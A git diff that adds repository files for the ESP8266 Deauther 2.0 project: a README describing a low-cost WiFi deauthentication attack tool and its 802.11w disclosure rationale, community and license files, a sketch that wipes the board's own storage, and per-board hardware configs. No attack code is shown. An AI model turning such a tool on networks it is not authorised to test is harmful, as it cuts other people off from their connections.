TONEAC_TINY // Uncomment to use alternate function toneAC(frequency, length) that saves 110 bytes. + + #if defined (__AVR_ATmega32U4__) || defined(__AVR_ATmega640__) || defined(__AVR_ATmega1280__) || defined(__AVR_ATmega1281__) || defined(__AVR_ATmega2560__) || defined(__AVR_ATmega2561__) + #define PWMT1AMASK DDB5 + #define PWMT1BMASK DDB6 + #define PWMT1DREG DDRB + #define PWMT1PORT PORTB + #elif defined(__AVR_ATmega1284P__) || defined(__AVR_ATmega644__) || defined(__AVR_ATmega644P__) + #define PWMT1AMASK DDD4 + #define PWMT1BMASK DDD5 + #define PWMT1DREG DDRD + #define PWMT1PORT PORTD + #else + #define PWMT1AMASK DDB1 + #define PWMT1BMASK DDB2 + #define PWMT1DREG DDRB + #define PWMT1PORT PORTB + #endif + + #if defined(__AVR_ATmega8__) || defined(__AVR_ATmega128__) + #define TIMSK1 TIMSK + #endif + + #ifndef TONEAC_TINY + void toneAC(unsigned long frequency = 0, uint8_t volume = 10, unsigned long length = 0, uint8_t background = false); + #else + void toneAC(unsigned long frequency = 0, unsigned long length = 0); + #endif + void noToneAC(); +#endif \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/CODE_OF_CONDUCT.md b/enp8266/esp8266_deauther-master/CODE_OF_CONDUCT.md new file mode 100755 index 0000000..0d07494 --- /dev/null +++ b/enp8266/esp8266_deauther-master/CODE_OF_CONDUCT.md @@ -0,0 +1,47 @@ +# Code of Conduct + +## Our Pledge + +In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, OS choice, favourite programming language (especially if it's JavaScript), nationality, personal appearance, race, religion, or sexual identity and orientation. + +## Our Standards + +Examples of behavior that contributes to creating a positive environment include: + +* Using welcoming and inclusive language +* Being respectful of differing viewpoints and experiences +* Gracefully accepting constructive criticism +* Focusing on what is best for the community +* Showing empathy towards other community members + +Examples of unacceptable behavior by participants include: + +* Calling this project a "Jammer" +* The use of sexualized language or imagery and unwelcome sexual attention or advances +* Trolling, insulting/derogatory comments, and personal or political attacks +* Public or private harassment +* Publishing others' private information, such as a physical or electronic address, without explicit permission +* Other conduct which could reasonably be considered inappropriate in a professional setting such as promoting chicken foodism + +## Our Responsibilities + +Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. + +Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. + +## Scope + +This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at mail@spacehuhn.com. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. + +Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] + +[homepage]: http://contributor-covenant.org +[version]: http://contributor-covenant.org/version/1/4/ diff --git a/enp8266/esp8266_deauther-master/CONTRIBUTING.md b/enp8266/esp8266_deauther-master/CONTRIBUTING.md new file mode 100755 index 0000000..d51cf32 --- /dev/null +++ b/enp8266/esp8266_deauther-master/CONTRIBUTING.md @@ -0,0 +1,95 @@ +# Request for contributions + +Please contribute to this repository if any of the following is true: +- You have expertise in Arduino/ESP8266 development, WiFi, or C/C++ +- You want to help lower the burden to first time contributors +- You want this open source community to be more collaborative and inclusive + +# How to contribute + +Prerequisites: + +- Familiarity with [pull requests](https://help.github.com/articles/using-pull-requests) and [issues](https://guides.github.com/features/issues/). +- Knowledge of [Markdown](https://help.github.com/articles/markdown-basics/) for editing `.md` documents. +- Knowledge of [WiFi Deauth](https://en.wikipedia.org/wiki/Wi-Fi_deauthentication_attack) for understanding the project. + +In particular, this community seeks the following types of contributions: + +- **Ideas**: participate in an issue thread or start your own to have your voice +heard. +- **Resources**: submit a pull request to add to RESOURCES.md with links to related content. +- **Outline sections**: help us ensure that this repository is comprehensive. if +there is a topic that is overlooked, please add it, even if it is just a stub +in the form of a header and single sentence. Initially, most things fall into +this category. +- **Writing**: contribute your expertise in an area by helping us expand the included +content. +- **Copy editing**: fix typos, clarify language, and generally improve the quality +of the content. +- **Formatting**: help keep content easy to read with consistent formatting. + + +## Bug reports + +A bug is a _demonstrable problem_ that is caused by the code in the repository. +Good bug reports are extremely helpful - thank you! + +Guidelines for bug reports: + +1. **Use the GitHub issue search** — check if the issue has already been + reported. + +2. **Check if the issue has been fixed** — try to reproduce it using the + latest `master` or development branch in the repository. + +3. **Isolate the problem**. + +A good bug report shouldn't leave others needing to chase you up for more +information. Please try to be as detailed as possible in your report. What is +your environment? What steps will reproduce the issue? What browser(s) and OS +experience the problem? What would you expect to be the outcome? All these +details will help people to fix any potential bugs. + +Example: + +> Short and descriptive example bug report title +> +> A summary of the issue and the browser/OS environment in which it occurs. If +> suitable, include the steps required to reproduce the bug. +> +> 1. This is the first step +> 2. This is the second step +> 3. Further steps, etc. +> +> `` - a link to the serial output on pastebin +> `` - a photo of your build with apparent wiring +> +> Any other information you want to share that is relevant to the issue being +> reported. This might include the lines of code that you have identified as +> causing the bug, and potential solutions (and your opinions on their +> merits). + + + +## Feature requests + +Feature requests are welcome. But take a moment to find out whether your idea +fits with the scope and aims of the project. It's up to *you* to make a strong +case to convince the project's developers of the merits of this feature. Please +provide as much detail and context as possible. + + + +## Pull requests + +Good pull requests - patches, improvements, new features - are a fantastic +help. They should remain focused in scope and avoid containing unrelated +commits. + +**Please ask first** before embarking on any significant pull request (e.g. +implementing features, refactoring code, porting to a different language), +otherwise you risk spending a lot of time working on something that the +project's developers might not want to merge into the project. + +Please adhere to the coding conventions used throughout a project (indentation, +accurate comments, etc.) and any other requirements (such as test coverage). diff --git a/enp8266/esp8266_deauther-master/ISSUE_TEMPLATE.md b/enp8266/esp8266_deauther-master/ISSUE_TEMPLATE.md new file mode 100755 index 0000000..f44d49a --- /dev/null +++ b/enp8266/esp8266_deauther-master/ISSUE_TEMPLATE.md @@ -0,0 +1,13 @@ +> Please search for existing (open and closed) issues first to avoid duplicates. +Also have a look at the [Wiki](https://github.com/spacehuhn/esp8266_deauther/wiki). +Please put error messages and code ```inside these 3 quotes/grave accents``` +(Delete this text when you've read it) + + +
+ Compile log (...) + + + +
+


diff --git a/enp8266/esp8266_deauther-master/LICENSE b/enp8266/esp8266_deauther-master/LICENSE new file mode 100755 index 0000000..a47d336 --- /dev/null +++ b/enp8266/esp8266_deauther-master/LICENSE @@ -0,0 +1,23 @@ +Do not redistribute, advertise or sell this software as a "jammer"!!! + +MIT License + +Copyright (c) 2018 Stefan Kremser + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/enp8266/esp8266_deauther-master/README.md b/enp8266/esp8266_deauther-master/README.md new file mode 100755 index 0000000..38404fa --- /dev/null +++ b/enp8266/esp8266_deauther-master/README.md @@ -0,0 +1,106 @@ +# ESP8266 Deauther 2.0 + +

PICTURE logo

+ +

+🦠Twitter +| 📺 YouTube +| 🌠spacehuhn.de
+
+Scan for WiFi devices, block selected connections, create dozens of networks and confuse WiFi scanners!

+Click here for the installation tutorial.
+ Click here for the .bin files.

+Support the development of this project by purchasing one of the official deauther boards.
+Or become a patron on patreon.com/spacehuhn.
+Also available: Stickers! +

+ +## What is New +[Here is a quick video about what is new](https://youtu.be/6oRmm3xfp6U) +Version 2.0: +- Completly rewritten code base for better performance and later enhancements +- Custom Deauther SDK for easy compiling using Arduino +- New serial command line interface to control and debug the program +- New display UI with a lot of new functions +- Improved web interface with multi-language support +- Improved scanning for access points and stations (+ continuous scanning mode) +- Save and select device names for both scanning and attacking +- Save up to 60 SSIDs and 25 devices in one list (you can create, load and save multiple lists) +- Added [PacketMonitor](https://github.com/spacehuhn/PacketMonitor) to display UI +- Deauth detection when scanning +- RGB LED support for a quick indication what the device is doing (attacking, scanning, ...) +- Better documentation on the new [wiki](https://github.com/spacehuhn/esp8266_deauther/wiki) + +## About this project +This software allows you to easily perform a variety of actions to test 802.11 wireless networks by using an inexpensive ESP8266 WiFi SoC (System On A Chip). + +The main feature, the deauthentication attack, is used to disconnect devices from their WiFi network. +No one seems to care about this huge vulnerability in the official 802.11 WiFi standard, so I took action and enabled everyone who has less than 10 USD to spare to recreate this project. +I hope it raises more attention on the issue. In 2009 the WiFi Alliance actually fixed the problem (see [802.11w](https://en.wikipedia.org/wiki/IEEE_802.11w-2009)), but only a few companies implemented it into their devices and software. +To effectively prevent a deauthentication attack, both client and access point must support the 802.11w standard with protected management frames (PMF). +While most client devices seem to support it when the access point forces it, basically no WiFi access point has it enabled. + +Feel free to test your hardware out, annoy these companies with the problem, share this project and push for a fix! +This project is also a great way to learn more about WiFi, micro controllers, Arduino, hacking and electronics/programming in general. +**But please use this tool responsibly and do not use it against others without their permission!** + +The difference between deauthing and jamming: [click me](https://github.com/spacehuhn/esp8266_deauther/wiki/FAQ#difference-between-jammer-and-deauther) + +## Official Deauther Boards + +![PICTURE DSTIKE Deauther OLED Board](https://raw.githubusercontent.com/wiki/spacehuhn/esp8266_deauther/img/DSTIKE_Deauther_Board.jpg) + +If you want to support the development of this project, you can buy one of the official boards by DSTIKE (Travis Lin) on following sites: +- [Tindie](https://tindie.com/stores/lspoplove) +- [AliExpress](https://dstike.aliexpress.com/store/2996024) +- [Taobao](https://shop135375846.taobao.com) + +Those boards are optimized for this project, ready to use and come preflashed with the Deauther software! +For more details visit the [Wiki](https://github.com/spacehuhn/esp8266_deauther/wiki) under [Supported Devices](https://github.com/spacehuhn/esp8266_deauther/wiki/Supported-Devices). + +## Disclaimer +This project is a proof of concept for testing and educational purposes. +Neither the ESP8266, nor its SDK was meant or built for such purposes. Bugs can occur! + +Use it only against your own networks and devices! +Please check the legal regulations in your country before using it. +I don't take any responsibility for what you do with this program. + +It is **not a frequency jammer** as claimed falsely by many people. Its attack, its method and how to protect against it is described above. It uses valid Wi-Fi frames described in the IEEE 802.11 standard and doesn't block or disrupt any frequencies. + +This project is meant to draw more attention on this issue. +The [deauthentication](https://en.wikipedia.org/wiki/Wi-Fi_deauthentication_attack) attack shows how vulnerable the 802.11 Wi-Fi standard is and that it has to be fixed. +A solution is already there, why don't we use it? + +**Please don't refer to this project as "jammer", that totally undermines the real purpose of this project!** +If you do, it only proves that you didn't understand anything of what this project stands for. Publishing content about this without a proper explanation shows that you only do it for the clicks, fame and/or money and have no respect for intellectual property, the community behind it and the fight for a better WiFi standard! + +## Getting Started + +Visit our new [Wiki](https://github.com/spacehuhn/esp8266_deauther/wiki) on how to recreate this project and use it. +Happy Hacking! + +## Credits +A huge thanks to: +- [@deantonious](http://github.com/deantonious) +- [@jLynx](https://github.com/jLynx) +- [@lspoplove](https://github.com/lspoplove) +- [@schinfo](https://github.com/schinfo) +- [@tobozo](https://github.com/tobozo) +- [@xdavidhu](https://github.com/xdavidhu) +- [@PwnKitteh](https://github.com/PwnKitteh) + +for helping out with various things regarding this project and keeping it alive! + +I also want to thank Espressif and their community for this awesome chip and all the software and hardware projects around it and the countless tutorials you can find online! + +Shoutout to everyone working on the libraries used for this project: +- [esp8266-oled-ssd1306](https://github.com/ThingPulse/esp8266-oled-ssd1306) +- [ArduinoJson](https://github.com/bblanchon/ArduinoJson) +- [LinkedList](https://github.com/ivanseidel/LinkedList) + +Also thanks to everyone that supports this project by [donating](http://spacehuhn.de/donate), being my [patron](http://patreon.com/spacehuhn) or buying one of the [official Deauther boards](https://www.tindie.com/stores/lspoplove) from DSTIKE. + +## License + +This software is licensed under the MIT License. See the [license file](LICENSE) for details. diff --git a/enp8266/esp8266_deauther-master/Reset_Sketch/README.md b/enp8266/esp8266_deauther-master/Reset_Sketch/README.md new file mode 100755 index 0000000..1ebc191 --- /dev/null +++ b/enp8266/esp8266_deauther-master/Reset_Sketch/README.md @@ -0,0 +1,14 @@ +# RESET + +## Method 1 + +Open the Reset_Sketch.ino and upload with the correct settings. + +## Method 2 + +Flash one of the `reset_` files. + +## Method 3 + +Flash the `blank_1MB.bin` to 0x000000 for 1MB modules. +Flash it to 0x000000, 0x100000, 0x200000 and 0x300000 for 4MB modules. \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/Reset_Sketch/Reset_Sketch.ino b/enp8266/esp8266_deauther-master/Reset_Sketch/Reset_Sketch.ino new file mode 100755 index 0000000..157eee1 --- /dev/null +++ b/enp8266/esp8266_deauther-master/Reset_Sketch/Reset_Sketch.ino @@ -0,0 +1,47 @@ +#include +#include + +/* + Upload this sketch to your ESP8266 to erase + - all files in the SPIFFS, + - all data in the EEPROM + - WiFi credentials (SSID, password) + + Also overwrites the previous program with this one (obviously). +*/ + +void setup() { + Serial.begin(115200); + + Serial.println(); + Serial.println("STARTING..."); + + EEPROM.begin(4096); + Serial.println("EEPROM initialized"); + + for (int i = 0; i < 4096; ++i){ + EEPROM.write(i,0x00); + } + + Serial.println("EEPROM cleaned"); + + SPIFFS.begin(); + Serial.println("SPIFFS initialized"); + + SPIFFS.format(); + Serial.println("SPIFFS cleaned"); + + ESP.eraseConfig(); + + Serial.println("WiFi credentials erased"); + + Serial.println("DONE!"); + + delay(10000); + + ESP.reset(); +} + +void loop() { + +} diff --git a/enp8266/esp8266_deauther-master/Reset_Sketch/blank_1MB.bin b/enp8266/esp8266_deauther-master/Reset_Sketch/blank_1MB.bin new file mode 100755 index 0000000..ffcff5e --- /dev/null +++ b/enp8266/esp8266_deauther-master/Reset_Sketch/blank_1MB.bin @@ -0,0 +1 @@ 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\ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/Reset_Sketch/reset_16mb.bin b/enp8266/esp8266_deauther-master/Reset_Sketch/reset_16mb.bin new file mode 100755 index 0000000..3c6064d Binary files /dev/null and b/enp8266/esp8266_deauther-master/Reset_Sketch/reset_16mb.bin differ diff --git a/enp8266/esp8266_deauther-master/Reset_Sketch/reset_1mb.bin b/enp8266/esp8266_deauther-master/Reset_Sketch/reset_1mb.bin new file mode 100755 index 0000000..bede2bb Binary files /dev/null and b/enp8266/esp8266_deauther-master/Reset_Sketch/reset_1mb.bin differ diff --git a/enp8266/esp8266_deauther-master/Reset_Sketch/reset_4mb.bin b/enp8266/esp8266_deauther-master/Reset_Sketch/reset_4mb.bin new file mode 100755 index 0000000..764db08 Binary files /dev/null and b/enp8266/esp8266_deauther-master/Reset_Sketch/reset_4mb.bin differ diff --git a/enp8266/esp8266_deauther-master/Reset_Sketch/reset_512kb.bin b/enp8266/esp8266_deauther-master/Reset_Sketch/reset_512kb.bin new file mode 100755 index 0000000..97a9bfc Binary files /dev/null and b/enp8266/esp8266_deauther-master/Reset_Sketch/reset_512kb.bin differ diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_D-duino_with_LED_Ring_Shield/A_config.h b/enp8266/esp8266_deauther-master/configs/DSTIKE_D-duino_with_LED_Ring_Shield/A_config.h new file mode 100755 index 0000000..d3af36d --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_D-duino_with_LED_Ring_Shield/A_config.h @@ -0,0 +1,29 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include "SH1106Wire.h" +// =========================== // + +// ===================== LED CONFIG ==================== // +#define NEOPIXEL_LED + +// === Settings for RGB LED and Neopixel LED === // +#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes + +// === Settings for Neopixel LED === // +#define LED_NEOPIXEL_NUM 12 +#define LED_NEOPIXEL_PIN 15 +#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800 + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY true // default display setting + +#define BUTTON_UP 12 +#define BUTTON_DOWN 13 +#define BUTTON_A 14 + +#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED +// ========================================================= // + +#endif \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_D-duino_with_LED_Ring_Shield/README.md b/enp8266/esp8266_deauther-master/configs/DSTIKE_D-duino_with_LED_Ring_Shield/README.md new file mode 100755 index 0000000..61ed10b --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_D-duino_with_LED_Ring_Shield/README.md @@ -0,0 +1,17 @@ +# DSTIKE D-duino-b-v5 with the LED Ring Shield + +| | | +| - | - | +| LED Type | Neopixel (WS2812) | +| LED Pin | GPIO 15 | +| Number of LEDs | 12 | +| Highlight LED | disabled | +| Display and buttons enabled | YES | +| Display Driver | SH1106 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | No | +| Button Up |GPIO 12 | +| Button Down | GPIO 13 | +| Button A | GPIO 14 | +| Button B |Disabled | \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_Boy/A_config.h b/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_Boy/A_config.h new file mode 100755 index 0000000..d1f24e7 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_Boy/A_config.h @@ -0,0 +1,28 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include "SH1106Wire.h" +// =========================== // + +// ===================== LED CONFIG ==================== // +#define NEOPIXEL_LED + +#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes + +#define LED_NEOPIXEL_NUM 1 +#define LED_NEOPIXEL_PIN 15 +#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800 + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY true // default display setting + +#define BUTTON_UP 10 +#define BUTTON_DOWN 9 +#define BUTTON_A 14 +#define BUTTON_B 12 + +#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED +// ========================================================= // + +#endif diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_Boy/README.md b/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_Boy/README.md new file mode 100755 index 0000000..fc60a67 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_Boy/README.md @@ -0,0 +1,17 @@ +# DSTIKE Deauther Boy + +| | | +| - | - | +| LED Type | Neopixel (WS2812) | +| LED Pin | GPIO 15 | +| Number of LEDs | 1 | +| Highlight LED | disabled | +| Display and buttons enabled | YES | +| Display Driver | SH1106 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | No | +| Button Up |GPIO 10 | +| Button Down | GPIO 9 | +| Button A | GPIO 14 | +| Button B |GPIO 12 | \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_v3.5_and_NodeMCU-07_v2/A_config.h b/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_v3.5_and_NodeMCU-07_v2/A_config.h new file mode 100755 index 0000000..4f0a776 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_v3.5_and_NodeMCU-07_v2/A_config.h @@ -0,0 +1,82 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include +#include +#include "SH1106Wire.h" +#include "SSD1306Wire.h" +#include "SH1106Spi.h" +#include "SSD1306Spi.h" +// =========================== // + +// ===================== LED CONFIG ==================== // +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Uncomment the type of LED you're using + Only one of them can be defined at a time! + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ +//#define DIGITAL_LED +//#define RGB_LED +#define NEOPIXEL_LED + +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Adjust following settings for your type of LED + you can ignore the rest of the #define's + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ + +// === Settings for Digital LED and RGB LED === // +#define LED_ANODE false // common vcc (+) +#define LED_PIN_R 16 // NodeMCU on-board LED +#define LED_PIN_G 255 // 255 = LED disabled +#define LED_PIN_B 2 // ESP-12 LED + +// === Settings for RGB LED and Neopixel LED === // +#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes + +// === Settings for Neopixel LED === // +#define LED_NEOPIXEL_NUM 1 +#define LED_NEOPIXEL_PIN 15 +#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800 +// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs) +// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers) +// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products) +// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2) +// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products) + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY false // default display setting + +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Adjust the pins to match your setup + Comment out the buttons you don't use. + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ +#define BUTTON_UP 12 +#define BUTTON_DOWN 13 +#define BUTTON_A 14 + +//#define BUTTON_LEFT 12 +//#define BUTTON_RIGHT 13 +//#define BUTTON_B 10 + +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Uncomment the type of display you're using + Only one of them can be defined at a time! + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + 0x3c = I2C address + SDA = GPIO 5 (D1) + SCL/SCK = GPIO 4 (D2) */ +//#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED +#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED + +/* RST = GPIO 5 (D1) + DC = GPIO 4 (D2) + CS = GPIO 15 (D8) or GND + SCK/SCL = GPIO 14 (D5) + SDA/MOSI = GPIO 13 (D7) */ +//#define DEAUTHER_DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI +//#define DEAUTHER_DISPLAY SH1106Spi display = SH1106Spi(5, 4, 15); // for 1.3" OLED with SPI + +//#define FLIP_DIPLAY // uncomment that to flip the display vertically +// ========================================================= // + +#endif \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_v3.5_and_NodeMCU-07_v2/README.md b/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_v3.5_and_NodeMCU-07_v2/README.md new file mode 100755 index 0000000..9c3abcf --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_v3.5_and_NodeMCU-07_v2/README.md @@ -0,0 +1,17 @@ +# DSTIKE Deauther v3 & DSTIKE NodeMCU-07 v2 + +| | | +| - | - | +| LED Type | Neopixel (WS2812b) | +| LED Pin | GPIO 15 | +| Number of LEDs | 1 | +| Highlight LED | disabled | +| Display and buttons enabled | NO | +| Display Driver | SH1106 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | NO | +| Button Up |GPIO 12 | +| Button Down | GPIO 13 | +| Button A | GPIO 14 | +| Button B |disabled | \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1.5S/A_config.h b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1.5S/A_config.h new file mode 100755 index 0000000..52ff85b --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1.5S/A_config.h @@ -0,0 +1,27 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include "SSD1306Wire.h" +// =========================== // + +// ===================== LED CONFIG ==================== // +#define NEOPIXEL_LED + +#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes + +#define LED_NEOPIXEL_NUM 1 +#define LED_NEOPIXEL_PIN 15 +#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800 + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY true // default display setting + +#define BUTTON_UP 12 +#define BUTTON_DOWN 13 +#define BUTTON_A 14 + +#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED +// ========================================================= // + +#endif \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1.5S/README.md b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1.5S/README.md new file mode 100755 index 0000000..48c7813 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1.5S/README.md @@ -0,0 +1,17 @@ +# DSTIKE Deauther OLED v1.5S + +| | | +| - | - | +| LED Type | Neopixel (WS2812) | +| LED Pin | GPIO 15 | +| Number of LEDs | 1 | +| Highlight LED | disabled | +| Display and buttons enabled | YES | +| Display Driver | SSD1306 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | NO | +| Button Up |GPIO 12 | +| Button Down | GPIO 13 | +| Button A | GPIO 14 | +| Button B |disabled | diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1_v1.5/A_config.h b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1_v1.5/A_config.h new file mode 100755 index 0000000..5f48388 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1_v1.5/A_config.h @@ -0,0 +1,25 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include "SSD1306Wire.h" +// =========================== // + +// ===================== LED CONFIG ==================== // +#define DIGITAL_LED +#define LED_ANODE false // common vcc (+) +#define LED_PIN_R 16 // NodeMCU on-board LED +#define LED_PIN_G 255 // 255 = LED disabled +#define LED_PIN_B 2 // ESP-12 LED + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY true // default display setting + +#define BUTTON_UP 12 +#define BUTTON_DOWN 13 +#define BUTTON_A 14 + +#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED +// ========================================================= // + +#endif \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1_v1.5/README.md b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1_v1.5/README.md new file mode 100755 index 0000000..13217b6 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1_v1.5/README.md @@ -0,0 +1,18 @@ +# DSTIKE Deauther OLED v1 - v1.5 + +| | | +| - | - | +| LED Type | Digital | +| LED R | GPIO 16 | +| LED G | disabled | +| LED B | GPIO 2 | +| Highlight LED | disabled | +| Display and buttons enabled | YES | +| Display Driver | SSD1306 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | NO | +| Button Up |GPIO 12 | +| Button Down | GPIO 13 | +| Button A | GPIO 14 | +| Button B |disabled | \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v2_v2.5_v3/A_config.h b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v2_v2.5_v3/A_config.h new file mode 100755 index 0000000..345b7fd --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v2_v2.5_v3/A_config.h @@ -0,0 +1,26 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include "SH1106Wire.h" +// =========================== // + +// ===================== LED CONFIG ==================== // +#define DIGITAL_LED + +#define LED_ANODE false // common vcc (+) +#define LED_PIN_R 16 // NodeMCU on-board LED +#define LED_PIN_G 255 // 255 = LED disabled +#define LED_PIN_B 2 // ESP-12 LED + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY true // default display setting + +#define BUTTON_UP 12 +#define BUTTON_DOWN 13 +#define BUTTON_A 14 + +#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED +// ========================================================= // + +#endif \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v2_v2.5_v3/README.md b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v2_v2.5_v3/README.md new file mode 100755 index 0000000..0163a36 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v2_v2.5_v3/README.md @@ -0,0 +1,18 @@ +# DSTIKE Deauther OLED v2 